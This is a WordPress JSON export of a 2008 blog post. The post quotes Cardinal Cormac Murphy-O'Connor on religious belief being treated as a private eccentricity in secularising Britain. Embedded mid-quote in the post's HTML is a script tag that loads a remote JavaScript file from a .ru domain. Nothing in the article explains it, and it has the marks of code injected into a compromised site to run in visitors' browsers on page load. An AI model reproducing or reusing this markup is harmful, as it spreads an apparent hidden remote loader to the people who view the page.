{"id":1869,"date":"2008-12-09T20:09:15","date_gmt":"2008-12-09T19:09:15","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=1869"},"modified":"2008-12-11T09:32:29","modified_gmt":"2008-12-11T08:32:29","slug":"why-is-religious-belief-seen-as-a-private-eccentricity","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=1869","title":{"rendered":"Why is religious belief seen as a private eccentricity?"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/www.rcdow.org.uk\/cms_images\/rszCMOCa26102005271441.jpg\" border=\"0\" alt=\"Cardinal Cormac Murphy-O'Connor\" \/>London&#8217;s Cardinal Cormac Murphy-O&#8217;Connor:<\/p>\n<p><strong>&#8218;The progressive secularisation of the cultural environment and the accompanying decline in religious practice means that religious belief of any kind tends now to be treated more as a private eccentricity than as the central and formative element in British society that it is. And although the tone of public discussion is sceptical or dismissive rather than anti-religious, atheism has become more vocal and aggressive&#8230;<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/strong><\/p>\n<h4 style=\"font-weight: bold; font-size: 14px; padding-bottom: 4px; font-family: Verdana, Arial, Helvetica; background-color: #ffffff;\"><a href=\"http:\/\/www.rcdow.org.uk\/cardinal\/default.asp?library_ref=1&amp;content_ref=2094\">Why is religious belief seen as a private eccentricity?<\/a><\/h4>\n","protected":false},"excerpt":{"rendered":"<p>London&#8217;s Cardinal Cormac Murphy-O&#8217;Connor: &#8218;The progressive secularisation of the cultural environment and the accompanying decline in religious practice means that religious belief of any kind tends now to be treated&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=1869\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-1869","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1869","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1869"}],"version-history":[{"count":7,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1869\/revisions"}],"predecessor-version":[{"id":1872,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1869\/revisions\/1872"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1869"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1869"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1869"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}